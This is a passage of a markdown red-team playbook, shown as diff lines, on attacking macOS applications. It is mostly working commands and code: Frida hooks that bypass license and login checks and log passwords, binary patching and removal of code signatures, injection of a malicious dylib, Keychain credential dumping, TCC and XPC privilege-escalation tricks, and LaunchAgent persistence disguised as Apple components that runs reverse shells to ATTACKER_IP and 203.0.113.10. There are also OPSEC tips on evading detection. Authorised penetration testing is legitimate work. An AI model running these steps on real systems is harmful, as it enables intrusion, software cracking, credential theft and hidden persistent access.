222
|
+
```
|
|
223
|
+
|
|
224
|
+
### Phase 4: Dynamic Analysis with Frida
|
|
225
|
+
|
|
226
|
+
```bash
|
|
227
|
+
# Step 19: List running processes
|
|
228
|
+
frida-ps -l # local processes
|
|
229
|
+
frida-ps # all processes including system
|
|
230
|
+
|
|
231
|
+
# Step 20: Spawn the target app and attach Frida
|
|
232
|
+
frida -l trace_methods.js TargetApp
|
|
233
|
+
# OR attach to already running process
|
|
234
|
+
frida -n TargetApp -l trace_methods.js
|
|
235
|
+
|
|
236
|
+
# Step 21: Trace all Objective-C method calls (noisy but useful)
|
|
237
|
+
frida-trace -m "-[* *]" -n TargetApp 2>&1 | grep -i "auth\|login\|password"
|
|
238
|
+
|
|
239
|
+
# Step 22: Trace specific class methods
|
|
240
|
+
frida-trace -m "-[AuthManager *]" -n TargetApp
|
|
241
|
+
frida-trace -m "-[LicenseChecker *]" -n TargetApp
|
|
242
|
+
|
|
243
|
+
# Step 23: Interactive Frida REPL — enumerate classes
|
|
244
|
+
frida -n TargetApp
|
|
245
|
+
# Inside Frida console:
|
|
246
|
+
# ObjC.classes // list all ObjC classes
|
|
247
|
+
# ObjC.classes.AuthManager.$ownMethods // list methods on specific class
|
|
248
|
+
|
|
249
|
+
# Step 24: Frida script to hook and bypass authentication
|
|
250
|
+
cat > bypass_auth.js << 'EOF'
|
|
251
|
+
// Hook a specific method and force it to return true
|
|
252
|
+
var AuthManager = ObjC.classes.AuthManager;
|
|
253
|
+
Interceptor.attach(AuthManager["- isLicenseValid"].implementation, {
|
|
254
|
+
onEnter: function(args) {
|
|
255
|
+
console.log("[*] isLicenseValid called");
|
|
256
|
+
},
|
|
257
|
+
onLeave: function(retval) {
|
|
258
|
+
console.log("[*] Original return value: " + retval);
|
|
259
|
+
retval.replace(1); // Force return YES/true
|
|
260
|
+
console.log("[*] Patched return value to: " + retval);
|
|
261
|
+
}
|
|
262
|
+
});
|
|
263
|
+
EOF
|
|
264
|
+
frida -n TargetApp -l bypass_auth.js
|
|
265
|
+
|
|
266
|
+
# Step 25: Dump all arguments passed to a method
|
|
267
|
+
cat > dump_args.js << 'EOF'
|
|
268
|
+
var LoginController = ObjC.classes.LoginController;
|
|
269
|
+
Interceptor.attach(LoginController["- loginWithUsername:password:"].implementation, {
|
|
270
|
+
onEnter: function(args) {
|
|
271
|
+
// args[0] = self, args[1] = selector, args[2] = username, args[3] = password
|
|
272
|
+
var username = ObjC.Object(args[2]).toString();
|
|
273
|
+
var password = ObjC.Object(args[3]).toString();
|
|
274
|
+
console.log("[*] Username: " + username);
|
|
275
|
+
console.log("[*] Password: " + password);
|
|
276
|
+
}
|
|
277
|
+
});
|
|
278
|
+
EOF
|
|
279
|
+
frida -n TargetApp -l dump_args.js
|
|
280
|
+
|
|
281
|
+
# Step 26: Use objection for streamlined analysis
|
|
282
|
+
objection -g TargetApp explore
|
|
283
|
+
# Inside objection:
|
|
284
|
+
# ios sslpinning disable (works on macOS too for network pinning)
|
|
285
|
+
# objc classes (list all classes)
|
|
286
|
+
# objc watch class AuthManager (watch all methods on class)
|
|
287
|
+
# memory dump all /tmp/memdump (dump process memory)
|
|
288
|
+
```
|
|
289
|
+
|
|
290
|
+
### Phase 5: Code Signing Bypass and Binary Patching
|
|
291
|
+
|
|
292
|
+
```bash
|
|
293
|
+
# Step 27: Remove code signature from binary
|
|
294
|
+
codesign --remove-signature /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
295
|
+
|
|
296
|
+
# Step 28: Patch binary (e.g., nop out a license check jump)
|
|
297
|
+
# First, find the offset of the instruction in radare2
|
|
298
|
+
# Then use dd or a hex editor to patch
|
|
299
|
+
# Example: patch a conditional jump (je = 0x74) to nop (0x90)
|
|
300
|
+
printf '\x90\x90' | dd of=target_x86_64 bs=1 seek=0x1234 conv=notrunc
|
|
301
|
+
|
|
302
|
+
# Step 29: Re-sign with ad-hoc signature (no identity required)
|
|
303
|
+
codesign --force --sign - /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
304
|
+
|
|
305
|
+
# Step 30: Re-sign the entire bundle
|
|
306
|
+
codesign --force --deep --sign - /Applications/TargetApp.app
|
|
307
|
+
|
|
308
|
+
# Step 31: Bypass Gatekeeper for testing (requires admin)
|
|
309
|
+
sudo spctl --master-disable
|
|
310
|
+
# Re-enable after testing
|
|
311
|
+
sudo spctl --master-enable
|
|
312
|
+
|
|
313
|
+
# Step 32: Allow specific app through Gatekeeper
|
|
314
|
+
sudo xattr -rd com.apple.quarantine /Applications/TargetApp.app
|
|
315
|
+
```
|
|
316
|
+
|
|
317
|
+
### Phase 6: DYLD Library Injection
|
|
318
|
+
|
|
319
|
+
```bash
|
|
320
|
+
# Step 33: Check current RPATH and linked libraries
|
|
321
|
+
otool -L /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
322
|
+
otool -l /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -A3 "LC_RPATH"
|
|
323
|
+
|
|
324
|
+
# Step 34: Identify weak-linked libraries (candidates for hijacking)
|
|
325
|
+
otool -l /Applications/TargetApp.app/Contents/MacOS/TargetApp | grep -B2 "LC_LOAD_WEAK_DYLIB" -A3
|
|
326
|
+
|
|
327
|
+
# Step 35: Create a malicious dylib
|
|
328
|
+
cat > evil.m << 'EOF'
|
|
329
|
+
#include <stdio.h>
|
|
330
|
+
#include <syslog.h>
|
|
331
|
+
|
|
332
|
+
__attribute__((constructor))
|
|
333
|
+
static void customConstructor(int argc, const char **argv) {
|
|
334
|
+
printf("[*] DYLD injected — running as: %s\n", getenv("USER"));
|
|
335
|
+
syslog(LOG_ERR, "DYLD injection successful from evil.dylib");
|
|
336
|
+
// Add reverse shell or credential dump code here
|
|
337
|
+
}
|
|
338
|
+
EOF
|
|
339
|
+
|
|
340
|
+
# Compile for x86_64
|
|
341
|
+
clang -dynamiclib -arch x86_64 -o evil.dylib evil.m
|
|
342
|
+
|
|
343
|
+
# Compile for arm64
|
|
344
|
+
clang -dynamiclib -arch arm64 -o evil_arm64.dylib evil.m
|
|
345
|
+
|
|
346
|
+
# Compile universal
|
|
347
|
+
clang -dynamiclib -arch x86_64 -arch arm64 -o evil_universal.dylib evil.m
|
|
348
|
+
|
|
349
|
+
# Step 36: Inject using insert_dylib (modifies the binary)
|
|
350
|
+
# Build insert_dylib first (requires Xcode)
|
|
351
|
+
./insert_dylib --strip-codesig --inplace /path/to/evil.dylib /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
352
|
+
|
|
353
|
+
# Step 37: Inject via DYLD_INSERT_LIBRARIES environment variable
|
|
354
|
+
# Note: Does NOT work against hardened runtime or SIP-protected binaries
|
|
355
|
+
DYLD_INSERT_LIBRARIES=/path/to/evil.dylib /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
356
|
+
|
|
357
|
+
# Step 38: Use optool for more reliable binary modification
|
|
358
|
+
./optool insert -p /absolute/path/to/evil.dylib -t /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
359
|
+
|
|
360
|
+
# Step 39: Re-sign after modification
|
|
361
|
+
codesign --force --deep --sign - /Applications/TargetApp.app
|
|
362
|
+
```
|
|
363
|
+
|
|
364
|
+
### Phase 7: Keychain Extraction
|
|
365
|
+
|
|
366
|
+
```bash
|
|
367
|
+
# Step 40: List Keychain items using security CLI
|
|
368
|
+
security list-keychains
|
|
369
|
+
security dump-keychain
|
|
370
|
+
security dump-keychain -d login.keychain-db # Prompts user, shows passwords
|
|
371
|
+
|
|
372
|
+
# Step 41: Find specific credentials
|
|
373
|
+
security find-internet-password -s "api.targetapp.com" -w
|
|
374
|
+
security find-generic-password -a "TargetApp" -w
|
|
375
|
+
|
|
376
|
+
# Step 42: List all items without passwords (no prompt)
|
|
377
|
+
security dump-keychain ~/Library/Keychains/login.keychain-db
|
|
378
|
+
|
|
379
|
+
# Step 43: Use chainbreaker for offline Keychain analysis (forensics)
|
|
380
|
+
# Requires access to the keychain file and password (or unlocked keychain)
|
|
381
|
+
python3 chainbreaker/chainbreaker.py --password "userpassword" ~/Library/Keychains/login.keychain-db
|
|
382
|
+
|
|
383
|
+
# Step 44: Dump all generic passwords via Frida (bypasses keychain prompt)
|
|
384
|
+
cat > dump_keychain.js << 'EOF'
|
|
385
|
+
// Hook SecItemCopyMatching to capture Keychain lookups
|
|
386
|
+
var SecItemCopyMatching = Module.findExportByName("Security", "SecItemCopyMatching");
|
|
387
|
+
Interceptor.attach(SecItemCopyMatching, {
|
|
388
|
+
onLeave: function(retval) {
|
|
389
|
+
// Enumerate results — log credential data
|
|
390
|
+
console.log("[*] SecItemCopyMatching called, retval: " + retval);
|
|
391
|
+
}
|
|
392
|
+
});
|
|
393
|
+
EOF
|
|
394
|
+
frida -n TargetApp -l dump_keychain.js
|
|
395
|
+
|
|
396
|
+
# Step 45: Search for Keychain database files
|
|
397
|
+
find ~/Library/Keychains/ -name "*.keychain-db" -o -name "*.keychain"
|
|
398
|
+
find /Library/Keychains/ -name "*.keychain-db" 2>/dev/null
|
|
399
|
+
```
|
|
400
|
+
|
|
401
|
+
### Phase 8: Persistence via LaunchAgent / LaunchDaemon
|
|
402
|
+
|
|
403
|
+
```bash
|
|
404
|
+
# Step 46: List existing LaunchAgents (user-level persistence)
|
|
405
|
+
ls -la ~/Library/LaunchAgents/
|
|
406
|
+
ls -la /Library/LaunchAgents/
|
|
407
|
+
ls -la /System/Library/LaunchAgents/
|
|
408
|
+
|
|
409
|
+
# Step 47: List LaunchDaemons (system-level, root persistence)
|
|
410
|
+
ls -la /Library/LaunchDaemons/
|
|
411
|
+
ls -la /System/Library/LaunchDaemons/
|
|
412
|
+
|
|
413
|
+
# Step 48: Create a malicious LaunchAgent plist (user-level, no admin needed)
|
|
414
|
+
cat > ~/Library/LaunchAgents/com.operator.persist.plist << 'EOF'
|
|
415
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
416
|
+
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
417
|
+
<plist version="1.0">
|
|
418
|
+
<dict>
|
|
419
|
+
<key>Label</key>
|
|
420
|
+
<string>com.operator.persist</string>
|
|
421
|
+
<key>ProgramArguments</key>
|
|
422
|
+
<array>
|
|
423
|
+
<string>/bin/bash</string>
|
|
424
|
+
<string>-c</string>
|
|
425
|
+
<string>bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1</string>
|
|
426
|
+
</array>
|
|
427
|
+
<key>RunAtLoad</key>
|
|
428
|
+
<true/>
|
|
429
|
+
<key>KeepAlive</key>
|
|
430
|
+
<true/>
|
|
431
|
+
<key>StartInterval</key>
|
|
432
|
+
<integer>300</integer>
|
|
433
|
+
</dict>
|
|
434
|
+
</plist>
|
|
435
|
+
EOF
|
|
436
|
+
|
|
437
|
+
# Step 49: Load the LaunchAgent immediately
|
|
438
|
+
launchctl load ~/Library/LaunchAgents/com.operator.persist.plist
|
|
439
|
+
launchctl start com.operator.persist
|
|
440
|
+
|
|
441
|
+
# Step 50: Verify the agent is loaded
|
|
442
|
+
launchctl list | grep "com.operator"
|
|
443
|
+
|
|
444
|
+
# Step 51: Create a more stealthy LaunchAgent (disguised as system component)
|
|
445
|
+
# Use a name that blends in: com.apple.softwareupdateagent, com.apple.mdmclient
|
|
446
|
+
# This is high-risk OPSEC — use only if approved by ROE
|
|
447
|
+
|
|
448
|
+
# Step 52: Install LaunchDaemon (requires root)
|
|
449
|
+
sudo cp /path/to/daemon.plist /Library/LaunchDaemons/com.operator.daemon.plist
|
|
450
|
+
sudo chown root:wheel /Library/LaunchDaemons/com.operator.daemon.plist
|
|
451
|
+
sudo chmod 644 /Library/LaunchDaemons/com.operator.daemon.plist
|
|
452
|
+
sudo launchctl load /Library/LaunchDaemons/com.operator.daemon.plist
|
|
453
|
+
```
|
|
454
|
+
|
|
455
|
+
### Phase 9: TCC (Transparency Consent Control) Bypass Concepts
|
|
456
|
+
|
|
457
|
+
```bash
|
|
458
|
+
# Step 53: Understand TCC — it controls access to:
|
|
459
|
+
# Camera, Microphone, Contacts, Calendar, Photos, Location, Screen Recording
|
|
460
|
+
# Full Disk Access (FDA), Accessibility, Input Monitoring
|
|
461
|
+
|
|
462
|
+
# Step 54: Check current TCC database (FDA required to read)
|
|
463
|
+
# User TCC database
|
|
464
|
+
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
|
|
465
|
+
"SELECT service, client, auth_value FROM access;"
|
|
466
|
+
|
|
467
|
+
# System TCC database (requires root + SIP disabled to modify)
|
|
468
|
+
sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db \
|
|
469
|
+
"SELECT service, client, auth_value FROM access;"
|
|
470
|
+
|
|
471
|
+
# Step 55: Check what entitlements allow TCC bypass
|
|
472
|
+
# Apps with com.apple.private.tcc.allow entitlement bypass TCC
|
|
473
|
+
codesign -d --entitlements :- /Applications/TargetApp.app | grep tcc
|
|
474
|
+
|
|
475
|
+
# Step 56: TCC bypass via inherited permissions
|
|
476
|
+
# If an app has FDA (e.g., Terminal, Finder), a child process inherits access
|
|
477
|
+
# Trick an FDA-holding app into executing your payload
|
|
478
|
+
osascript -e 'tell application "Finder" to do shell script "/path/to/payload"'
|
|
479
|
+
|
|
480
|
+
# Step 57: Enumerate apps with TCC permissions
|
|
481
|
+
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
|
|
482
|
+
"SELECT service, client, auth_value FROM access WHERE auth_value=2;" 2>/dev/null
|
|
483
|
+
|
|
484
|
+
# Step 58: Check SIP status (affects TCC database modification)
|
|
485
|
+
csrutil status
|
|
486
|
+
# If disabled: csrutil disable (requires Recovery Mode)
|
|
487
|
+
```
|
|
488
|
+
|
|
489
|
+
### Phase 10: macOS Privilege Escalation
|
|
490
|
+
|
|
491
|
+
```bash
|
|
492
|
+
# Step 59: Enumerate SUID/SGID binaries
|
|
493
|
+
find / -perm -4000 -type f 2>/dev/null
|
|
494
|
+
find / -perm -2000 -type f 2>/dev/null
|
|
495
|
+
|
|
496
|
+
# Step 60: Check sudo configuration
|
|
497
|
+
sudo -l
|
|
498
|
+
# Look for NOPASSWD entries and unusual allowed commands
|
|
499
|
+
cat /etc/sudoers 2>/dev/null
|
|
500
|
+
|
|
501
|
+
# Step 61: Enumerate privileged helper tools installed by apps
|
|
502
|
+
ls -la /Library/PrivilegedHelperTools/
|
|
503
|
+
# These run as root and are often vulnerable to XPC message abuse
|
|
504
|
+
|
|
505
|
+
# Step 62: Inspect XPC service entitlements
|
|
506
|
+
codesign -d --entitlements :- /Library/PrivilegedHelperTools/com.targetapp.helper
|
|
507
|
+
|
|
508
|
+
# Step 63: Test XPC service for missing caller validation
|
|
509
|
+
# Use xpcspy to intercept XPC messages
|
|
510
|
+
# https://github.com/hot3eed/xpcspy
|
|
511
|
+
pip3 install xpcspy
|
|
512
|
+
frida -n TargetApp -l xpcspy.js
|
|
513
|
+
|
|
514
|
+
# Step 64: Check world-writable directories in PATH
|
|
515
|
+
echo $PATH | tr ':' '\n' | xargs -I{} ls -la {} 2>/dev/null | grep "rwxrwxrwx\|777"
|
|
516
|
+
|
|
517
|
+
# Step 65: Check for writable .dylib or framework paths
|
|
518
|
+
otool -L /Applications/TargetApp.app/Contents/MacOS/TargetApp | awk '{print $1}' | while read lib; do
|
|
519
|
+
if [ -w "$lib" ] 2>/dev/null; then
|
|
520
|
+
echo "[WRITABLE] $lib"
|
|
521
|
+
fi
|
|
522
|
+
done
|
|
523
|
+
|
|
524
|
+
# Step 66: Enumerate cron jobs and periodic scripts
|
|
525
|
+
crontab -l
|
|
526
|
+
ls -la /etc/periodic/
|
|
527
|
+
ls -la /var/at/tabs/ 2>/dev/null
|
|
528
|
+
ls -la /usr/lib/cron/tabs/ 2>/dev/null
|
|
529
|
+
|
|
530
|
+
# Step 67: Check for weak file permissions on app components
|
|
531
|
+
find /Applications/TargetApp.app -perm -o+w -type f 2>/dev/null
|
|
532
|
+
|
|
533
|
+
# Step 68: Enumerate installed packages for post-install scripts
|
|
534
|
+
pkgutil --pkgs | grep -i target
|
|
535
|
+
pkgutil --pkg-info com.targetapp.pkg
|
|
536
|
+
# Check if installer left writable scripts
|
|
537
|
+
```
|
|
538
|
+
|
|
539
|
+
---
|
|
540
|
+
|
|
541
|
+
## 5. Real Attack Scenarios
|
|
542
|
+
|
|
543
|
+
### Scenario A: Credential Extraction from a macOS Enterprise Client App
|
|
544
|
+
|
|
545
|
+
**Target:** A corporate VPN or HR client application installed on employee MacBooks.
|
|
546
|
+
|
|
547
|
+
**Objective:** Extract stored credentials and API keys.
|
|
548
|
+
|
|
549
|
+
```bash
|
|
550
|
+
# Step 1: Identify app bundle
|
|
551
|
+
ls /Applications/ | grep -i "VPNClient\|HRApp"
|
|
552
|
+
file /Applications/VPNClient.app/Contents/MacOS/VPNClient
|
|
553
|
+
# Output: Mach-O 64-bit executable arm64
|
|
554
|
+
|
|
555
|
+
# Step 2: Dump Objective-C classes looking for credential storage
|
|
556
|
+
class-dump /Applications/VPNClient.app/Contents/MacOS/VPNClient | grep -i "keychain\|password\|cred\|token"
|
|
557
|
+
# Found: VPNCredentialManager class with methods storePassword:forUser: and retrievePassword
|
|
558
|
+
|
|
559
|
+
# Step 3: Search embedded plists for hardcoded server config
|
|
560
|
+
find /Applications/VPNClient.app -name "*.plist" -exec plutil -p {} \; | grep -i "server\|host\|url\|key"
|
|
561
|
+
# Found: serverURL = "https://vpn.corp.example.com", apiKey = "sk-live-XXXXXX" in Settings.plist
|
|
562
|
+
|
|
563
|
+
# Step 4: Attach Frida to extract runtime credentials
|
|
564
|
+
frida -n VPNClient -l dump_keychain_realtime.js
|
|
565
|
+
# Script hooks SecKeychainItemCopyContent and logs all retrieved passwords
|
|
566
|
+
# Output: [*] Keychain retrieved: user=john.doe@corp.com, pass=Summer2024!
|
|
567
|
+
|
|
568
|
+
# Step 5: Validate extracted credentials
|
|
569
|
+
curl -H "Authorization: Bearer sk-live-XXXXXX" https://vpn.corp.example.com/api/users
|
|
570
|
+
|
|
571
|
+
# Evidence: Screenshot of Frida output, plist contents, curl response
|
|
572
|
+
```
|
|
573
|
+
|
|
574
|
+
**Impact:** Full VPN access with employee credentials, potential network lateral movement.
|
|
575
|
+
|
|
576
|
+
---
|
|
577
|
+
|
|
578
|
+
### Scenario B: Code Signing Bypass and DYLD Injection for Privilege Escalation
|
|
579
|
+
|
|
580
|
+
**Target:** A licensed macOS productivity app that runs a privileged helper for file operations.
|
|
581
|
+
|
|
582
|
+
**Objective:** Bypass license check, inject malicious dylib, abuse privileged helper.
|
|
583
|
+
|
|
584
|
+
```bash
|
|
585
|
+
# Step 1: Analyze the license check
|
|
586
|
+
class-dump /Applications/ProductApp.app/Contents/MacOS/ProductApp | grep -i "license\|trial\|expire\|valid"
|
|
587
|
+
# Found: LicenseValidator class with method: - (BOOL)isLicenseActivated
|
|
588
|
+
|
|
589
|
+
# Step 2: Confirm method logic in Ghidra — returns 0 when no license file found
|
|
590
|
+
|
|
591
|
+
# Step 3: Remove code signature
|
|
592
|
+
codesign --remove-signature /Applications/ProductApp.app/Contents/MacOS/ProductApp
|
|
593
|
+
|
|
594
|
+
# Step 4: Write Frida bypass script
|
|
595
|
+
cat > bypass_license.js << 'EOF'
|
|
596
|
+
var LicenseValidator = ObjC.classes.LicenseValidator;
|
|
597
|
+
Interceptor.attach(LicenseValidator["- isLicenseActivated"].implementation, {
|
|
598
|
+
onLeave: function(retval) {
|
|
599
|
+
console.log("[*] License check bypassed");
|
|
600
|
+
retval.replace(1);
|
|
601
|
+
}
|
|
602
|
+
});
|
|
603
|
+
EOF
|
|
604
|
+
frida -n ProductApp -l bypass_license.js
|
|
605
|
+
# App is now fully functional
|
|
606
|
+
|
|
607
|
+
# Step 5: Identify the privileged helper
|
|
608
|
+
ls /Library/PrivilegedHelperTools/ | grep product
|
|
609
|
+
# Found: com.productapp.helper
|
|
610
|
+
|
|
611
|
+
# Step 6: Inspect XPC interface
|
|
612
|
+
class-dump /Library/PrivilegedHelperTools/com.productapp.helper
|
|
613
|
+
# Found: - (void)installFileWithSource:(NSString *)src destination:(NSString *)dst reply:(void (^)(NSError *))reply
|
|
614
|
+
# No caller validation — any process can call this
|
|
615
|
+
|
|
616
|
+
# Step 7: Write XPC client to abuse the helper
|
|
617
|
+
# Use Swift or Objective-C to call the XPC service with root file write
|
|
618
|
+
# Copy a malicious sudoers file or suid shell
|
|
619
|
+
# install a reverse shell binary to /usr/local/bin/
|
|
620
|
+
|
|
621
|
+
# Step 8: Establish persistence
|
|
622
|
+
cp /path/to/reverse_shell /usr/local/bin/rsh
|
|
623
|
+
# Call helper XPC to make it suid root:
|
|
624
|
+
# installFileWithSource:"/tmp/suid_shell" destination:"/usr/local/bin/rsh"
|
|
625
|
+
|
|
626
|
+
# Evidence: Frida console output, XPC call log, proof of root execution
|
|
627
|
+
```
|
|
628
|
+
|
|
629
|
+
**Impact:** Full root access on the target machine via privileged helper abuse.
|
|
630
|
+
|
|
631
|
+
---
|
|
632
|
+
|
|
633
|
+
### Scenario C: LaunchAgent Persistence After Initial Access via Phishing
|
|
634
|
+
|
|
635
|
+
**Target:** A macOS user who executed a malicious document macro.
|
|
636
|
+
|
|
637
|
+
**Objective:** Establish persistent access surviving reboots without admin rights.
|
|
638
|
+
|
|
639
|
+
```bash
|
|
640
|
+
# Step 1: Initial access established (user-level shell)
|
|
641
|
+
# Verify access level
|
|
642
|
+
whoami # john.doe (not root)
|
|
643
|
+
id # uid=501(john.doe) gid=20(staff)
|
|
644
|
+
|
|
645
|
+
# Step 2: Enumerate the environment for useful apps with TCC permissions
|
|
646
|
+
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
|
|
647
|
+
"SELECT service, client FROM access WHERE auth_value=2 AND service='kTCCServiceSystemPolicyAllFiles';" 2>/dev/null
|
|
648
|
+
# Found: Terminal has Full Disk Access
|
|
649
|
+
|
|
650
|
+
# Step 3: Drop the persistence payload
|
|
651
|
+
mkdir -p ~/.config/.hidden_support
|
|
652
|
+
cat > ~/.config/.hidden_support/agent.sh << 'EOF'
|
|
653
|
+
#!/bin/bash
|
|
654
|
+
while true; do
|
|
655
|
+
/bin/bash -i >& /dev/tcp/203.0.113.10/443 0>&1
|
|
656
|
+
sleep 60
|
|
657
|
+
done
|
|
658
|
+
EOF
|
|
659
|
+
chmod +x ~/.config/.hidden_support/agent.sh
|
|
660
|
+
|
|
661
|
+
# Step 4: Install LaunchAgent with innocent-looking name
|
|
662
|
+
cat > ~/Library/LaunchAgents/com.apple.useraccountd.plist << 'EOF'
|
|
663
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
664
|
+
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
665
|
+
<plist version="1.0">
|
|
666
|
+
<dict>
|
|
667
|
+
<key>Label</key>
|
|
668
|
+
<string>com.apple.useraccountd</string>
|
|
669
|
+
<key>ProgramArguments</key>
|
|
670
|
+
<array>
|
|
671
|
+
<string>/bin/bash</string>
|
|
672
|
+
<string>/Users/john.doe/.config/.hidden_support/agent.sh</string>
|
|
673
|
+
</array>
|
|
674
|
+
<key>RunAtLoad</key>
|
|
675
|
+
<true/>
|
|
676
|
+
<key>KeepAlive</key>
|
|
677
|
+
<true/>
|
|
678
|
+
<key>StandardErrorPath</key>
|
|
679
|
+
<string>/dev/null</string>
|
|
680
|
+
<key>StandardOutPath</key>
|
|
681
|
+
<string>/dev/null</string>
|
|
682
|
+
</dict>
|
|
683
|
+
</plist>
|
|
684
|
+
EOF
|
|
685
|
+
|
|
686
|
+
# Step 5: Load immediately
|
|
687
|
+
launchctl load ~/Library/LaunchAgents/com.apple.useraccountd.plist
|
|
688
|
+
|
|
689
|
+
# Step 6: Verify persistence
|
|
690
|
+
launchctl list | grep "com.apple.useraccountd"
|
|
691
|
+
|
|
692
|
+
# Step 7: Test reboot survival (advise client to reboot test machine)
|
|
693
|
+
|
|
694
|
+
# Evidence: Screenshot of launchctl list output, network connection on reboot
|
|
695
|
+
```
|
|
696
|
+
|
|
697
|
+
**Impact:** Persistent user-level access, surviving reboots, with callback to operator infrastructure.
|
|
698
|
+
|
|
699
|
+
---
|
|
700
|
+
|
|
701
|
+
## 6. OPSEC Considerations
|
|
702
|
+
|
|
703
|
+
### Detection Risks
|
|
704
|
+
|
|
705
|
+
| Action | Detection Risk | Signal Generated |
|
|
706
|
+
|--------|--------------|-----------------|
|
|
707
|
+
| Frida attachment | HIGH | `taskgated` may log code signing checks; EDR hooks detect Frida server process |
|
|
708
|
+
| `codesign --remove-signature` | MEDIUM | Gatekeeper/XProtect may flag unsigned binary on execution |
|
|
709
|
+
| DYLD_INSERT_LIBRARIES | MEDIUM | Logged by macOS Endpoint Security framework; TCC violations logged |
|
|
710
|
+
| LaunchAgent installation | MEDIUM | KnockKnock, Malwarebytes, and commercial EDRs watch LaunchAgents folder |
|
|
711
|
+
| Keychain `dump-keychain -d` | HIGH | Prompts user with GUI dialog; logged by macOS audit subsystem |
|
|
712
|
+
| TCC database modification | CRITICAL | Requires SIP disabled; logged extensively; triggers SIEM alerts |
|
|
713
|
+
| XPC privilege escalation | HIGH | XPC messages logged; privileged helper validates callers on patched apps |
|
|
714
|
+
| SUID binary abuse | MEDIUM | Execution logged by auditd / Endpoint Security |
|
|
715
|
+
| `sudo -l` enumeration | LOW | May be logged by sudoers configuration depending on SYSLOG setting |
|
|
716
|
+
|
|
717
|
+
### Mitigation Strategies for Operator
|
|
718
|
+
|
|
719
|
+
- Avoid attaching Frida to processes with EDR hooks — test on isolated VMs first
|
|
720
|
+
- Use ad-hoc code signing (`codesign --sign -`) rather than removing signatures entirely
|
|
721
|
+
- Blend LaunchAgent names with Apple-like labels (`com.apple.*`) only if ROE allows stealth testing
|
|
722
|
+
- Perform Keychain extraction via Frida hooks rather than GUI-triggering `security dump-keychain -d`
|
|
723
|
+
- Disable SIP on test VMs only — never on production targets unless explicitly scoped
|
|
724
|
+
- Minimize dwell time — extract artifacts and clean up LaunchAgents after testing
|
|
725
|
+
- Use `sudo spctl --master-disable` on test machines only — document before/after state
|
|
726
|
+
|
|
727
|
+
### Log Sources Defenders Monitor
|
|
728
|
+
|
|
729
|
+
- `/var/log/system.log` — general system events
|
|
730
|
+
- `/var/log/authd.log` — authentication events
|
|
731
|
+
- `/var/log/install.log` — package installation events
|
|
732
|
+
- Unified Log: `log stream --predicate 'subsystem == "com.apple.TCC"'`
|
|
733
|
+
- Endpoint Security Framework events (commercial EDR)
|
|
734
|
+
- FSEvents — file system change notifications monitored by Spotlight and security tools
|
|
735
|
+
- LaunchAgent/LaunchDaemon directories are watched by most macOS security tools
|
|
736
|
+
|
|
737
|
+
---
|
|
738
|
+
|
|
739
|
+
## 7. Output and Documentation Instructions
|
|
740
|
+
|
|
741
|
+
### Evidence to Collect
|
|
742
|
+
|
|
743
|
+
For each finding, collect:
|
|
744
|
+
|
|
745
|
+
1. **Screenshot** of terminal output showing the vulnerability or extracted data
|
|
746
|
+
2. **Command used** — exact syntax with any sensitive data redacted for the report
|
|
747
|
+
3. **File paths** of vulnerable components
|
|
748
|
+
4. **Class/method names** where credentials are exposed or logic flaws exist
|
|
749
|
+
5. **CVSS score** — use `rt-cvss-calculator` skill for scoring
|
|
750
|
+
6. **MITRE ATT&CK mapping** — use `rt-mitre-map` skill
|
|
751
|
+
|
|
752
|
+
### Finding Documentation Template
|
|
753
|
+
|
|
754
|
+
```
|
|
755
|
+
Title: [Hardcoded API Key in macOS App Bundle / DYLD Injection / Keychain Exposure / etc.]
|
|
756
|
+
Severity: Critical / High / Medium / Low
|
|
757
|
+
CWE: CWE-798 (Hardcoded Credentials) / CWE-427 (Uncontrolled Search Path)
|
|
758
|
+
|
|
759
|
+
Affected Component:
|
|
760
|
+
App: /Applications/TargetApp.app
|
|
761
|
+
Binary: /Applications/TargetApp.app/Contents/MacOS/TargetApp
|
|
762
|
+
Class: [Objective-C class name if applicable]
|
|
763
|
+
|
|
764
|
+
Steps to Reproduce:
|
|
765
|
+
1. [Command]
|
|
766
|
+
2. [Command]
|
|
767
|
+
3. [Result / extracted data]
|
|
768
|
+
|
|
769
|
+
Evidence:
|
|
770
|
+
- Screenshot: findings/macos-01-keychain-dump.png
|
|
771
|
+
- Raw output: findings/macos-01-frida-output.txt
|
|
772
|
+
|
|
773
|
+
Impact:
|
|
774
|
+
[Describe what an attacker can do with this finding]
|
|
775
|
+
|
|
776
|
+
Recommendation:
|
|
777
|
+
[Specific remediation steps for the development team]
|
|
778
|
+
```
|
|
779
|
+
|
|
780
|
+
### Output File Naming Convention
|
|
781
|
+
|
|
782
|
+
```
|
|
783
|
+
findings/
|
|
784
|
+
macos-01-static-analysis-strings.txt
|
|
785
|
+
macos-02-class-dump-output.txt
|
|
786
|
+
macos-03-frida-credential-extraction.txt
|
|
787
|
+
macos-04-dyld-injection-proof.png
|
|
788
|
+
macos-05-keychain-items.txt
|
|
789
|
+
macos-06-launchagent-persistence.txt
|
|
790
|
+
macos-07-tcc-database-dump.txt
|
|
791
|
+
macos-08-privesc-chain.txt
|
|
792
|
+
```
|
|
793
|
+
|
|
794
|
+
---
|
|
795
|
+
|
|
796
|
+
## 8. Resources and References
|
|
797
|
+
|
|
798
|
+
### Official Documentation
|
|
799
|
+
- Apple Security Overview: https://support.apple.com/guide/security/welcome/web
|
|
800
|
+
- macOS Code Signing: https://developer.apple.com/documentation/security/code_signing_services
|
|
801
|
+
- TCC Framework Reference: https://developer.apple.com/documentation/bundleresources/privacy_manifest_files
|
|
802
|
+
